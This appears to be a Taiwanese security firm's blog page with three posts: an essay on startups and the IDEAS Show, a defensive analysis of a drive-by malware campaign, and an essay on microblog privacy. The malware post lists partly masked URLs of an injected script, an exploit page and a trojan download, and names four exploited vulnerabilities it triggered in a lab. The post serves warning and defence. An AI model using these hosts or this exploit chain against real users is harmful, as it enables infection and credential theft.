阿碼外傳-阿碼科技非官方中文 Blog

2009年8月8日

[No Tech] 從資策會 IDEAS SHOW 參展經驗談創業



今年阿碼報名了 資策會的IDEAS SHOW,星期三早上的決賽,我們與另外兩隊(HHOTTT-Island),拿到了最大獎--評審獎,讓全公司興奮不已!由於客戶量不斷快速增加,大家最近工作已經太忙了,而品質又是我們一向堅持的,在不願犧牲給客戶的品質下,竟然沒有一個人有多出的時間可以幫忙準備這場IDEAS SHOW!原本認真討論過是否放棄,但是又捨不得,只好利用晚上開會,協調讓剛從德國搬來台灣加入我們的Volker(前賽門鐵克歐洲發言人)與共同創辦人COO Matt及CTO Walter三人擔綱,並於週末練習與準備demo所需的環境。其間由於我們對於流程、場地、活動性質等有許多問題,頻頻資策會工作同仁互動,得到了很多的協助,也讓我們充分感受到工作人員對此次活動的熱忱,以及背後的艱辛,感謝各位,也感謝評審委員對我們的支持與給我們的建議,各位辛苦了!

比賽前一天,雖然租了樓下的大會議室做練習的場地,可是三人還是一直被工作干擾,一面練,一面總是有人手機響,這是要怎麼練?下午我去看他們預演時,可以感受到,還不行,大家都不熟,可是我也沒講出來,心裡覺得很對不起他們,明明沒有充分準備時間,又要逼他們上台。結果比賽完,Matt說,練了整晚,總算有成果,我們已經做到我們能力所及最好了,沒有任何失誤,概念也都充分傳達了!每一隊都很強,我們也沒把握能拿獎,但是想到我們已經盡所能,做到能力所及的最好演出了,得名與否,沒有什麼好遺憾的。看著一隊接一隊精彩的演出,台灣有這麼多優秀的軟體公司,在台下感覺真是驕傲!

完整參賽團隊名單在這裡

媒體報導都蠻正面的:
觀察:IDEAS Show閉幕 熱鬧才要開始
資策會idea show秀創意 32團隊展出web2.0新應用
台版DEMO展Ideas Show落幕 新創網站發聲
IDEAS Show網路創意展擴大規模 產業應用最夯
IDEAS Show網路創意展 發表
「2009 IDEAS Show」網路服務創意展 ~ 集結網路創意 鏈結三網效益 提供多元服務

評審寫的blog很有參考價值:[評審日記]2009 IDEAS SHOW網路創意展_校園組

網路上也有很詳細的活動報導整理:
2009 IDEAS Show 網路創意展精彩搶先看
2009 IDEAS SHOW 一些感想 (上)

不久候,朋友給我一個連結,PPT上有位網友對活動持比較懷疑的態度這裡有噗浪上的討論)。看了他的文章,我也思考了許久,就當作對於活動的小小回饋,我來寫一下我個人的看法好了,希望這些整理對以後參賽者來說有些參考價值。
首先,IDEAS SHOW的目的為何?我們看網站上的說明:

********************************
為協助國內網路服務進軍國際市場,進而在國際網路市場佔有一席之地,經濟部技術處委託財團法人資訊工業策進會執行「新世代網路創新服務發展計畫」,藉由媒合各界資源,建立新創網路服務培育機制,促成創新服務國際化發展機會,帶動網路產業發展。

IDEAS Show網路創意展,是資策會為網路新創公司提供的一個發聲管道,亦是國內第一個網路創意服務發表平台。去年資策會移植美國DEMO Show的舉辦、評選模式,舉辦了國內第一個網路創意展覽IDEAS Show,也深獲各方廣大迴響。

為了發掘國內更優秀並具潛力國際化之創新服務,今年將擴大舉辦IDEAS Show,在活動中除了邀請多位國外講者來台演講外,更加入了一場國際創投家的座談會議,期望藉由One Stop Shop的方式,匯集與推廣國內創新服務,吸引國際市場對國內創新網路服務的關注,未來也能幫助國內其他躍躍欲試的網路創業者進入。

DEMO Conference為發表創新產品、服務、點子,以及具新興市場開發的國際發表舞台,目前已有19年歷史,每一年都會受到來自全球數百位投資者和媒體的關注,是國際服務進入美國市場的最佳捷徑。包括地圖日記、citiport、Awind、YouGotPhoto以及meworks等國內網路服務也相繼於美國DEMO Conference及Webi中國北京DEMO China等國際舞台發表,並深獲國際媒體與創投給予肯定。
********************************

恩,所以是帶動網路產業發展,移植已有19年歷史的美國DEMO ConferenceDemo Conference的確是全球發表新產品的首選平台,歷經19年,好評不斷。資策會這次能邀到DEMO Conference的創辦人與執行總監Chris Shipley來台參加,實在是太棒了!

可是,DEMO Conference究竟都選怎麼樣的公司上去秀呢?這個秀又如何幫到這些參加的公司呢?我不是那麼熟最新的 Web 2.0 趨勢,其實我大部分時間都專心於把公司的事做好,所以對於這類的創業平台,只能說有聽過,但是平常都沒在follow,不能說熟。這次參賽前,為了能夠做出符合大會想要的demo,我們特別做了功課。首先我看了「What is DEMO」的影片,其中強調:

* 2004 年參展的 six apart,同年拿到一千萬美金的資金。
* 2003 年的 Oddpost,同年拿到兩百多萬美金,之後被 Yahoo 以三千萬美金併購。
* 2006 年的 GrandCentral,先是拿到創投資金,後又被 Google 併購。
* Webex、vmware、salesforce等,都是 DEMO 的畢業生。
* 過去五年,DEMO 畢業生共募了35億美金。
* 今年 1Q,金融風暴中,DEMO 畢業生共募了1.7億美金。
* 目前超過40個畢業生成功被併購。

恩,所以強調的是,被選來DEMO的隊伍,都會非常的成功。而DEMO幫助新創公司成功方式也很明顯:因為DEMO只選擇最好的團隊,所以創投都會來DEMO,全球媒體也都會來DEMO,所以能來DEMO的團隊,能夠立刻吸引創投的注意,與獲得媒體的曝光。所以好的團隊都會很努力的爭取來DEMO的機會,而整個DEMO就成了一個超級的媒合平台--團隊,創投,媒體。

好,那麼DEMO都選擇什麼樣的團隊呢?幾年的公司呢?多大的規模呢?剛起步的嗎?還是已經有募資過的?我無法一一看完全部團隊的資料,但是我看了一下今年DEMO 2009(spring)中得獎(DemoGod)的團隊

1. Avaak Inc:成立於2004年,去年底做第一次募資,募得七百萬美金。創辦人Gioia是多次成功創業家(serial entrepreneur),過去曾創立 SUMMIT Design Technologies,服務如 Motorola、Lockheed Martin、Texas Instruments、SAIC等。在之前,她創辦 MedSmart 並擔任 CEO。她擁有八篇專利。

2. Coveroo Inc:成立於2008年,第一次募資得250萬美金,創辦人Karl Jacob 為連續四次之成功創業家,過去14年皆致力於廣告產業,也於 Sun 與微軟等公司擔任過高階幹部。在他的職場生涯中,他成功從最頂尖創投中募得超過2億美金的資金。四次創業,皆是從零收入開始,做到成功被併購。其中 Dimension X 被微軟併購,而 Keen (Ingenio) 被 AT&T 併購。他為投資人創造了超過3億美金的投資報酬,這些公司過去平均一年營收超過1.5億美金。他也於 Facebook、Cloudmark、IMMI等公司擔任董事。(注意:他目前創辦的Coveroo只募資了250萬美金)

3. Ontier:成立於2008年,創辦人Mr. Rapport在業界又超過25年的經驗,於 Apple、CAM Systems、Revionics等公司擔任高階職務。

4. Purewire:(資安公司!)成立於2007年,由創辦人與家人共出資475萬美金,CEO Michael Van Bruinisse有15年業界經驗,為前 CipherTrust VP,從公司零收入,到後來一年6千萬美金,最後公司以3億美金被 Secure Computing 併購。更之前在 Sun 工作,為當時 Sun 最年輕的 Director,並協助 Sun 併購 NetDynamics,以及 Logic Works 的上市。

5. Silverstone Solutions:成立於2006年。創辦人自己出資,有25年相關業界經驗,

6. Skout:成立於2006年,只向個人投資人募資,共一百萬美金。CEO Christian Wiklund之前服務於 vmware,CETAC,以及 Chalmers Teknologkonsulter。

7. Technocopia (gwabbit):成立於2007年,不打算募資,創辦人Todd Miller為連續創業家,1998年創辦WebFeat,成功被Proquest併購。更之前成立Knight-Ridder,並與IBM合作,於1996年獲得Gartner最佳基礎建設獎。

從以上七家今年的DemoGod,我們可以看出,所有創辦人年紀都不輕,擁有很成功的業界紀錄,很多都是連續創業多次的創業家。有些公司有募資,有些沒有,有些也表明未來也沒有打算要募資。看到這些人的履歷,我覺得他們不論有沒有參加DEMO Conference,都會很成功。當然,能參加DEMO,絕對更加幫助他們,加速他們的成功,Chris的意見,輔導與牽線,也都會幫到他們。但是,即使落選,我相信他們最後都還是會成功的。這也讓我覺得,難怪創投都要去DEMO找投資機會,這麼好的團隊,這些創辦人手上都有錢,也都自己放下去,絕不是玩玩而已,要投資他們,創投可能還得多花心思溝通,看他們願不願意拿。

可是,如果DEMO Conference中得獎的團隊都是這樣等級的,那麼年輕人想要網路創業,要參加什麼活動?政府要如何幫忙?

我當然沒有答案,我又不是政府,也不是觀察家,也沒待過創投,要談經驗,其它人可說的比我多很多。不過我們可以來想想,年輕的創業團隊,要的是什麼?

如果有好的技術希望推廣,希望加速發展,開放源碼是一條很好的路。只要技術好,就很容易吸引到同好,進而慢慢建立社群,把技術發揚光大。如果是網站要長大,也有很多微型創業的方法,做一個好的網站,不一定需要很多的資金。這不就是Web 2.0吸引人的地方嗎?

此外,講到「創業」,其實意味著將技術變成你的事業,也就是你養家活口吃飯的依靠。那麼要創業,你想要從一場活動或一場比賽中得到什麼?

最好的資金來源不是投資人,而是客戶。有時聽有人說,我們很成功,一開始就募得資金,還都是很好的投資人。但是聽到這些我就想到,阿碼在美國有個可以算同業的公司,也是我私下的好友,同為寫論文寫到一半,出來創業,他們一開始就能獲利,等到公司很快地長到80人了,才以1.2億美金美金的身價,募了2500萬美金。這才是真正成功的創業團隊--一開始就能自給自足,錢是客戶心甘情願付的,募資時股價高,失去的股份少。

但是公司要抓住市場機會,如果不能一下子收支平衡,而又需要快速成長,就需要資金。可是創投不可能亂投,一個創業過四次並成功為投資人賺了3億美金的Karl Jacob(剛才介紹的 DemoGOD [2] Coveroo),與一個剛出社會的年輕人,投資人要選擇投誰?即使投資了,股價也絕對不會高,這代表了很可能第一次募資後,投資人已經持股過半了。此外,創投可能只信任創辦團隊的技術,而不信任原團隊的管理能力,行銷業務能力,財務規劃能力等等,而強行安插有經驗的管理階層進入。那麼,老實說,創業團隊不過是員工罷了,對公司的影響力大打折扣。這樣情況下,你還能依當初的理想來建立公司嗎?還能繼續影響公司文化與方向嗎?這要看你和投資人的互動如何了。

拿資金就像是結婚,員工相處不好你還可以fire,但是投資人永遠都是股東,相處不好只有一條路:你自己離開。

我認識很多有經驗的創業家,第一次都是自己出,等到做出股價了,才開始募資,一次也只募一點,等到又做到成績,股價又高了,才再募。當然,這要配合公司需要的成長速度,如果真的一次募很多錢,能夠搶到市場先機,那麼也要考慮。可是我看過的,這種想法下失敗的也不少,大家以為砸下去就能拿下市場,結果什麼都沒有。金融風暴後,創投模式(venturecapitalism)是否work,創投產業是否真能獲利,還諸多討論:
(source: forbes.com)


富比士:即將瓦解的創投(Forbes:Venture Capital's Coming Collapse
VentureBeat:創投模式有問題(VentureBeat:The VC Model is Broken
VentureBeat:跟創投募資:飛了,飛了,不見了?(VentureBeat:Venture fundraising: Going, going, gone?)
VentureBeat:創投縮水40%,tech boom真的停止了(Venture capital shrivels 40 percent — It really is the end of the tech boom
TechFlash:該要有新的創投模式了(TechFlash:Time for a new VC model

我不是說創投產業真的有問題,創投裡多得是頂尖的人才,他們經驗豐富,會不斷修改模式與進步,台灣就有許多好創投仍是獲利很高的,但我的意思是,目前的時局讓創投必須更加更加謹慎的挑案子了。

既然這次IDEAS SHOW主打Web 2.0創業,那來談談Web 2.0吧!看了DEMO今年得名團隊的履歷,我的感想是,矽谷過去這20年中,成功的放手硬體製造業,建立了軟體產業;目前紅的公司,Microsoft,Google,Apple,vmware,Amazon,eBay,Oracle,Facebook,都是軟體公司,IBM也賣了筆電部門,成功地買了Rational / Watchfire,轉型成了軟體公司,Sun 被 Oracle 買了,HP 最大敗筆是併購了 Compaq,但是目前也轉型得不錯,併了 Mercury / SPI Dynamics 等等軟體公司,漸漸轉型成功。

Web 2.0所帶來的機會,矽谷的團隊是早就準備好來接收了。整個過去20年的成功軟體產業,創造了無數對軟體有經驗的軟體創業家,中高階軟體主管,以及投資人。等到 Web 2.0 機會一出來,這些人風起雲湧,熟悉軟體產業的創投,可以很快地看懂技術,評估股價,之後也有各種管道幫公司,找人才,找客戶,找買主;熟悉軟體創業的創業家抓準機會,有了好的IDEA,立刻運用其經驗與人脈網路,創立公司搶佔市場。這些連續創業家通常也不是個人,而是一個團隊。這些團隊以前早就出生入死,打了很多的硬仗,彼此有默契,有信任,知道如何一起工作。

反觀台灣,我們的硬體製造業生態也是如此,絕對可以算是全球頂尖;投資人,創業家,中高階主管,都是身經百戰,實戰經驗無數。說實在我一直很喜歡台灣製造業的文化,謙虛,踏實,嚴謹,有辦法在低利潤中,穩定獲利成長。這是多麼紮實的文化,是我們這20年努力來的文化。我們的軟體產業,是否也有這種文化?

等到 Web 2.0 來了,看到了各種的機會,我們也想要掌握,可是我們不像矽谷,有過去20年的軟體基礎。熟悉軟體創業的投資人在哪裡?團隊在哪裡?都比較少。過去軟體產業並不那麼發達的我們,要如何搭上Web 2.0所帶來的機會?我感覺這是目前的挑戰。

Web 2.0 對於創業家來說,是一個新的好機會,尤其對於年輕人來說。Why?因為成功所需要的資源,相對少很多。硬體製造業,要建廠房,要設備,要原料,要庫存,資金都是用10億為單位在算的。Web 2.0 不用,只要掌握市場需求,很年輕的團隊就能做出很好的網站--台灣的無名小站大家都知道,另外MySpace於2005年賣給Fox時,創辦人Tom Anderson才35歲,Kevin Rose 27歲時創辦Digg,Joshua Schachter 29歲時創辦del.icio.us,Biz Stone 33歲時創辦twitter,Mark Zuckerberg 20歲時創辦Facebook,噗浪團隊平均年齡也在25歲以下

那麼為何年輕團隊仍然不易取得資金?以下是一些值得思考的數字:

* 創投每1000份business plan,平均只會選6份。
* 這六家「千中選六」的公司中,只有10%會上市。
* 這六家「千中選六」的公司中,30%(1.8家)會被低價收購或變賣資產。
* 10%才會成為高獲利,也就是一千家中,六家選中,然後只有0.6家可以高獲利。



資料來源:J.L. Nesheim (2000), High tech start up: Creating successful new high tech companies


加上自從金融風暴後,創投產業被媒體嚴重質疑,加上金融業大受影響,導致目前創投產業萎縮嚴重,裁員的很多,還有資金的,當然投資會異常小心。花資源去一次DEMO Conference,他們要找很有把握的團隊,即使不能中樂透,至少不會輸光,即使輸了,對金主(除了evergreen或corporate VC,大部分創投的錢也是跟金主募來的)也能交代:這團隊成功這麼多次了,怎料到會輸?如果賭上沒有經驗的年輕人,失敗後會更加被質疑。因此有成功紀錄與多年業界經驗的創業家,以及已經證明能成功獲利的新創公司,在DEMO Conference這種媒合平台中,更顯得吃香了。

可是 Web 2.0 所帶來的--低資金的創業,小團隊做大事的機會--年輕但是有很好點子的團隊要如何能夠搭得上?

我也沒有答案,畢竟我不是這方面的專家。但是我們想一想,即使有了資金,成功的關鍵在哪裡?我想一下幾點都是:

1. 對於市場與客戶的了解--客戶究竟要什麼?
2. 經營模式為何?如何能生存?
3. 對於關鍵技術的掌握。好的IDEA很重要,可是如果能配合高門檻的關鍵技術,不怕別人模仿,就更穩當了。
4. 人才是否到位了?技術人才?行銷/SEO人才?高階管理人才?資金規劃人才(如何與投資人互動)?整個團隊是否有默契,有一起出生入死的工作過?是否有一起經歷大風大浪,同甘共苦過?

以上這些,如果都有明確答案,會減少投資人的風險,增加他們的信心。而這些似乎都不需要資金來建立,平常就可以一步一步建立了。等到這些都建立了,如果run下去真的可行,那麼我想找資金並非難事,也不一定要靠哪個活動幫忙。相反,如果都還不具備,即是得了某某活動的第一名,還是不容易募得資金。即使募得了,投資人也會因為只信任團隊的技術能力,不信任管理能力,而要安插有經驗的管理階層,這不見得是團隊想要的。公司本身也不容易成為那六家公司中的那0.6家成功者。

沒有錯,Web 2.0讓年輕技術人在創業的過程中有了更多的優勢。但是不是說只要有好的點子,就一定容易募到資金,容易成功。以上提到的許多年輕的成功創業家,其實背後都有不少矽谷創業前輩的經驗分享與種種幫忙(投資人也會幫很多),公司內部也不乏非常有經驗的軟體管理人才協助年輕創業家所缺少的經驗。職場與創業,就像是網球比賽或賽車一樣,積分高的不用打會外賽,排在前面起跑。但是只要有實力,其實就沒什麼好怕的,大不了從會外賽開始打,一路打到冠軍,這種回憶不是更美好?

這樣想,只要能參加IDEAS SHOW,是否有得名也就沒那麼重要了。事實上有打球賽的都知道,比賽運氣也很重要,得名與否並不一定代表實力。阿碼目前運氣一直很好,被選上參加的創業平台包括了:2006 Venture Forum,2007 Red Herring Asia 100,2008 Red Herring Global Innovator's Pit Top 10,2008 DOWJONES VentureWire等。其中 Venture Forum 與 DOWJONES VentureWire都是資策會輔導我們參加的--這邊再次感謝資策會的長官!參加這些活動,我覺得最大的收穫是人脈的建立--而且不是創投,不是媒體,也不是任何有名的人。我指的是創業家的社群。創業需要太多的經驗,很多都是我們沒有的,可是這些書本上根本學不到,太多東西,除非你在圈子裡,不然別人根本不會跟你分享。一旦去了Venture Forum,你就是Venture Forum的alumni(校友),去了Red Herring,你就是Red Herring校友,去了IDEAS Show,你就是IDEAS Show的校友。我們因為去了Venture Forum,得以認識Taiwan Liposome的創辦人兼總經理George,那年他們不但上了Red Herring Asia,還是封面故事。等到隔年我們要投稿時,George超夠意思的將他去年的投稿文件直接給了我們,不但教我們如何投稿,更教我們投稿後要如何準備演講,以及活動中我們應該往什麼方向努力,合理的期待是什麼,值得花多少資源等等。之後我們也教了後來申請的團體。

我們去DOWJONES VentureWire時,認識了當時已經從skype創辦人創投ASI募資成功的AirDio創辦人Wen,後來我們跟ASI的互動過程中,Wen幫了很多忙,讓我們能很快認識這家創投,也幫助了雙方快速建立了合理的期望。

創業家的圈子就是這樣子。你要知道,你是創業團隊的一部份,你就流著創業家的血,你就會講一種語言,是只有創業家會講的,是別人聽不懂的。公司做什麼事情都資源不夠,怎麼辦?對手都比我們大,我們雖然技術好太多,可是品牌就是輸,怎麼辦?怎麼跟創投打交道?創投的招數有哪些?同事的父母常問他,明明能去IBM/Google,為何來我們公司,要如何回答?資金該如何規劃?沒錢打廣告,有什麼好的網路資源可以運用?我技術出身,管理經驗不足,該聘CEO嗎?

創業社群中大家總有聊不完的話題--而這些話題也只有這個社群能聊得起來,所以在這些活動中,或後,你可以盡量放馬問問題,對方通常會很願意回答。之後你遇到事情,也隨時可以問大家:這家創投好不好?這篇Gartner你有沒有?Red Herring上了,值不值得買機票去?要投入多少資源?能獲得什麼?多付錢可以擺攤,有必要嗎?Red Herring當期雜誌上可以買廣告,效果怎麼樣?我有時看到一個公司的business plan presentation,覺得真是做得太好了,會立刻上去問,你們花多久時間準備?怎麼練習的?簡報檔是誰做的?某某數據是哪裡來的?

我們自己簡報,也會看台下誰比較專心,然後事後問他,你覺得我們做得怎樣?你覺得我們有表達清楚嗎?你覺得哪裡讓你喜歡,哪裡讓你保留?如果對方也是創業團體,那麼給你的意見絕對會跟一般人不一樣。這次資策會辦的IDEAS SHOW,我們報告完,也很幸運地找DEMO Conference的總監Chris Shipley的空檔時間,希望她批評我們的簡報(感謝資策會能邀到她來台灣啊!)。她的批評可說是一針見血,幾句話表達了我們長久的苦處:「你們解決的問題,不容易簡單表達」。而更厲害的是,她竟然直接給了我們答案。她說,由於Web 2.0的蓬勃發展,導致網站如雨後春筍般出現並長大,但是資安問題無法解決,也讓Web 2.0商機受到了威脅。你們的HackAlert除了在技術上很創新外,商業模式也創新地利用了SaaS模式,走雲端的方式幫企業守護網站,監測網站掛馬。問題是,在這種場合,六分鐘內,你們要顧慮台下為一般end-user,不熟悉網站掛馬,所以你們要解釋,瀏覽被掛馬的網站,會被植入惡意程式,會偷密碼等等,這樣一般人比較聽得懂,但是回過頭來,你們的產品卻不是給end-user的,是給企業的。這中間必須有一個轉折,而你們是否能成功於六分鐘內清楚傳達觀念,關鍵就在於如何做這個轉折。此外,HackAlert只是監控掛馬,並不能解決問題,所以你們要強調,阿碼有源碼檢測CodeSecure,可以找出網站的漏洞,解決問題。

Wow!他才聽六分鐘,看過我們的資料,就很清楚HackAlert做什麼,CodeSecure又做什麼,還能講出源碼檢測(static analysis)、網站掛馬(drive-by downloads),比很多美國的產業分析師還猛,真是太強了,不愧是DEMO Conference執行總監!後來她給我們的建議也都是一針見血,讓我們覺得真是收穫很多。

不過,要有這些收穫,不但不一定要在IDEAS SHOW上得名,甚至也不一定要能去IDEAS SHOW這種平台--譬如之前HappyWeb辦的Demomo Show(規定就是「該網站/服務的程式開發團隊必須在三人以下),或bof.tw,都是很適合的活動,可以達到展示,交流與經驗分享的目的,或許認識到的人,還更懂Web 2.0之道,更有幫助。也許此類活動,到場的創投不比DEMO Conference或IDEAS SHOW來得多,但是Web 2.0吸引人的地方,不就是創業不需太多資源嗎?為何一開始就一定要找資金?還有,我覺得一些新創公司起來後能強很久,跟文化很有關:資源短缺會迫使團隊孕育出一些很好的文化(苦笑)。這邊介紹一些我覺得好的資源給各位,這些都能幫助創業團隊在最小的資源下達到最大的效果:

1. 創業家手冊:第一次創業家的59個資源(The Entrepreneur’s Handbook – 59 Resources For First Time Entrepreneurs)--從資金到BP範本到網站到行銷到HR到法律資源都有,整理得很完整,又不浮濫--台灣有類似的文章嗎?麻煩推薦一下,感謝!

2. TheFunded.com:創業家交流平台,註冊要經過審核,只有創業家與投資人兩種身份能註冊。不登入也能看到「public」文章但是「private」文章看不到。最寶貴的資源是創業社群對於創投公司與創投公司中每位個人的即時評論。律師、專利事務所與兼職美工都是常見的問題。另外每天都有團隊分享他們拿到的termsheet,所以你可以大概了解,在哪一區(歐美亞)的哪個產業的什麼樣規模的公司,目前拿到的股價大概如何。

3. 創投的前十大謊言(The Top Ten Lies of Venture Capitalists

4. 跟創投打交道的十個訣竅(10 Tips On Negotiating With VCs

有好的資源的讀者也麻煩不吝提供!

但要特別提醒一下,網路上的東西,由於是公開資訊,沒法太深談,所以創業社群中才是主要能學到東西的地方。有經驗的投資人,也是大寶藏,所以碰到他們時,不一定目標要設定為要他們投資,讓他們花時間給意見,也是很值得的。

雖然募資永遠不易,但令人慶幸的是,軟體產業正帶來前所未有的機會,Web 2.0創業不說,光是傳統的軟體公司,對創業家來說就有一個很明顯的好處:所需要的資源遠比硬體創業少,所以通常軟體公司中,團隊持股都很高,影響力也就高;畢竟,軟體公司的價值就在於人。以下圖表為知名傳統軟體公司於上市前之團隊/投資人持股比例,資料來源:Saratoga Ventures Finance

創業永遠是一條艱辛的路,但想要創業代表你有著豐富的信心、實力與創造力。在創業的過程中,每一步努力都會有一步的收穫,共勉之!

阿碼科技Matt與Wayne

Matt聯絡方式:matt__鼠__armorize點com

繼續閱讀全文...

2009年7月22日

暑假0day掛馬盛期,網友們要小心!

最近接二連三爆出很多 0day 漏洞,讓擅長利用網頁掛馬攻擊手法拓展「業務」的地下經濟,突然又熱絡了起來,也造就新一波的掛馬高峰期。這幾天聽到幾位朋友跟我說作業系統已經更新到最新了還中木馬,於是請他們丟些可疑網址給我看看,略為分析了一下某網站,上面主要是被插入這串: (網址加上*號,防止不小心點到)

http://ok**.org/z.js

,繼續追蹤發現主要的網馬都包含在這網頁裡面:

http://6****.com/aa/a3a.htm

,接著我發現了一件事情 「挖!好牛喔!」 以前看到的網馬裡面還會放一堆老舊的 Exploit,而這隻網馬我分析了一下,看到都是近期爆出的 0day 漏洞,主要攻擊以下的漏洞:

1.DirectShow的DirectX NULL Byte Overwrite Vulnerability 請參考 這裡
2.DirectShow MPEG2TuneRequest Stack Overflow Exploit 請參考 這裡
3.FireFox 3.5 (Font tags) Remote Heap Spray Exploit 請參考 這裡
4.Microsoft Office Web Components (Spreadsheet) ActiveX BOF (注意!微軟尚未更新)

以上網馬都是下載同一隻木馬,路徑在: http://ho****8.com/svchost.exe 。 (註:下載惡意程式的路徑會一直改變)




以下針對每隻網馬做觸發測試 (危險動作,請勿模仿)



1.DirectX NULL Byte Overwrite Vulnerability
2.DirectShow MPEG2TuneRequest Stack Overflow Exploit

可以在 test.htm 裡面看到有兩個 jpg 分別為 go.jpg 與 go1.jpg 就知道這是最近的 DirectShow 漏洞,go.jpg 利用的是 DirectShow 6月份爆出來的第一隻 0day ,可參考這裡 ,而 go1.jpg 利用的則是最近很紅的弱點,不過微軟上禮拜二已經修正了,我們同事之前也有談到相關內容: 3b3.org 在 0 Day 的大復活日記

以上弱點的解決方法:透過微軟更新。

3. FireFox 3.5 (Font tags) Remote Heap Spray Exploit

我在測試環裡面使用了 FF3.5 BETA5 版 成功觸發 Exploit,下面有一系列截圖。

he.htm 就是 FireFox 3.5 (Font tags) Remote Heap Spray Exploit

h.js 就是駭客的呼叫遠端惡意程式的 Shellcode。

此圖為利用 FireFox 3.5 beta4 瀏覽 he.htm 時,在 Process 可以看到在 FireFox 下悄悄的執行了惡意程式。


解決方法: 將 FireFox 更新為3.5.1 就可以了,但現在也有針對3.5.1的漏洞,所以我們自己還是要小心一點,隨時注意更新或使用第三方軟體(如 NoScript)防範!

4.Microsoft Office Web Components (Spreadsheet) ActiveX BOF

測試環境是安裝最新版Office 2003 版,並更新到最新,仍觸發成功。

一開始使用 IE 打開 of.htm 這個網頁,首先他會先判斷你有沒有安裝 Office ,假如有安裝 Office,且瀏覽器的安全性設定裡面的 執行 ActiveX 控制項與外掛程式設定為「啟用」,那瀏覽到惡意網頁時,會不知不覺直接下載一個 Microsoft 元件 owc10.dll,然後執行呼叫遠端的的惡意程式到本機執行,這樣就中木馬了!

假如執行 ActiveX 控制項與外掛程式設為「提示」,則瀏覽惡意網頁的時候,會跳出視窗詢問「你是否同意執行 ActiveX」,只是,一般使用者應該都會閉著眼睛直接按下同意吧!

而我的測試環境是在 IE 上裝了 add-ons 來測試,在瀏覽惡意網頁時一樣會在 IE 跳出一個 ActivX 請求在瀏覽器上安裝 owc10.dll,然後與絕大多數使用者的反應一樣按下 Run ,接著就觸發駭客寫好的 shellcode ,騎著可愛的小馬回家了!

解決方法:目前微軟尚未發佈更新,只能等待,使用者要提高警覺,不要看到對話框就按「是」!






總結:
1.這一次分析的網馬上面所利用的各種 Exploits 都是最近爆發出來的新弱點,雖然有些已經發佈更新了,但是我相信一定還有不少使用者還沒有更新系統,原因可能是盜版或是懶得更新等等,這樣造成了瀏覽網站的風險始終高居不下!

2.這次測試,比較花時間的部份都是在整理測試環境,這些網馬觸發的機率都很高,也不需要很嚴苛的條件,使用者要提高警覺,注意更新或使用第三方軟體(如 NoScript)來保護自己的瀏覽行為。

3.對於瀏覽網站過程中,出現莫名其妙要您的 IE 瀏覽器接受 ActiveX 下載 dll時,請千萬要注意,不要隨便同意 ActiveX 下載,以免遭植入惡意程式,騎著小馬回家!

4.擔心自己網站被掛馬,可以註冊免費HackAlert網站掛馬監控帳號

作者Sun為阿碼科技資安顧問


繼續閱讀全文...

2009年7月20日

誰在看我的噗?第四回:我噗誰在看!



微型部落格」在網路上已經熱鬧好一陣子了。你噗了嗎?噗!是噗浪還是叭噗咧!

誰在看我的噗?前三回已經介紹頗多的「微型部落格」本身經常會遇到的問題,我們部落格上之前也有詳細介紹「twitter」所遭遇到的攻擊問題,可以參考這裡OWASP 排行榜上的第一名看來並非浪的虛名。

這篇文將會從使用者的角度來看「微型部落格」所帶來的衝擊,在說明前還是要回顧一下「網站」發展的過程,回顧歷史才能展望未來。不過,這裡我還是要強調一件事:網站攻擊不是現在才有,它一直存在,只是當今其他問題(如蠕蟲、系統漏洞攻擊)大多獲得控制(如線上更新、入侵防禦設備),而你的網站卻一直沒有進步,當然成為標靶了。

「網站」發展的過程,我大概以兩個時間為分界點:2000年及2005年。在2000年以前談的網站大多是所謂的 ERP(企業資源規畫)、EIP(企業資訊入口)、CRM(客戶關係管理)、KM(知識管理)...等,況且哪時這類系統還有許多並非以網站來呈現的,且那時大多屬於封閉型的系統或網站型態,因此大部分躲過了威脅攻擊。

2000年後網路興起,「E化」是當時相當有名的名詞,也是動詞的哩,而網際網路公司可以說是紅到不行,當時股市衡量股價是否合理的方式是用本益比,但對網際網路公司是用「本夢比」,這樣你應該該可以想像網際網路公司即使虧錢,股價依舊高漲不歇,因為夢想多大、股價就有多高。這個時候大家談論的網站是啥呢?大家回想起來了嗎?B2B、B2C、C2C,還有物流、金流、資料流...,是否回想起來了呢?

B2B:大多是整合企業上下游之間的網站系統,這類網站大多封閉,是比較不容易出事,但不代表比較安全,因為會接觸到這邊的,大多可能屬商業間諜,行動隱密也低調;就算出事,業主本身也會相當低調,外界不會知道發生啥事。如果企業主發現你的對手對你的行銷、企劃...等有瞭若指掌的情況,可能要注意這類資訊系統的入侵可能性了。

B2C:簡單的說就是購物網站了,這點大家就應該很熟悉了吧。發生哪些資安問題呢?大家不會忘了吧...XD!google大神的開示。至於政府單位的 B2C ...XD,參考這篇吧。

C2C:簡單說就是拍賣交易網站了。造成哪些問題呢?簡單說就是「詐騙」、「詐欺」的社會問題。

在這個階段,另外有個神奇的東西,它本身不是網站方式呈現,但卻造就不少「釣魚網站」,對!就是 IM(Instant Messaging) 軟體,且它到現在還是很紅。
你!出賣朋友嗎?
網路上交朋友要小心
騙取MSN帳密的釣魚網站...真多!!

2005年之後,所謂的「網誌」大量出現,也就是所謂的部落格(Blog)、網路日誌、博客...等等。在前一波網路泡沫之後,Web 2.0 的觀念,帶動了許多網站的興起。這時你應該能想到很多網站吧!文字的部落客就像我們阿碼外傳一樣,圖片的無名相簿網站,影音的 YouTube網站。在這個時候產生哪些問題呢?其實機乎不是資安問題,大多是社會問題,文字部分涉及言論自由、圖片部分涉及個人隱私或私密、影音部分多是犯罪實錄...XD。可以發現網路與生活越來越緊密了。

Web 2.0 簡單說,就是有個網站提供一個平台,讓使用者可以自己產生內容,並與其他使用者之間進行互動的一個網站。

2008年後開始出現「微網誌」,讓使用者與其他使用者的互動更加緊密了。所以有 PlurkBuboofacebooktwitter...的出現。而 XSS 漏洞透過這類社群網站獲得重生了,因為社群網站使用者眾多,XSS 蠕蟲可以在一天之內感染數萬個使用者,甚至造成社群網站服務的效能崩潰。這只是資安問題的。我擔心的是另外一個問題。

B2C 的時代,大家已經把個資瘋狂的送到網路上,個資都已經外洩光了,Web 2.0的時代大家又把私密照片、或是犯罪實錄的影片給 Post 到網路上了。現在呢?噗阿噗!!大家把自己的行蹤、心情、喜怒哀樂、觀點...一大堆潛在人格特質給 Post 到網路上了。原來,在網路上要了解一個人好簡單啊。

微型部落格可能造成:陌生人比你媽還了解你,甚至,陌生人比你還了解你自己;而你卻還不認識隔壁老王。小心有心人的,當遇到難纏的對手,如果還涉及感情,哪可就麻煩了。

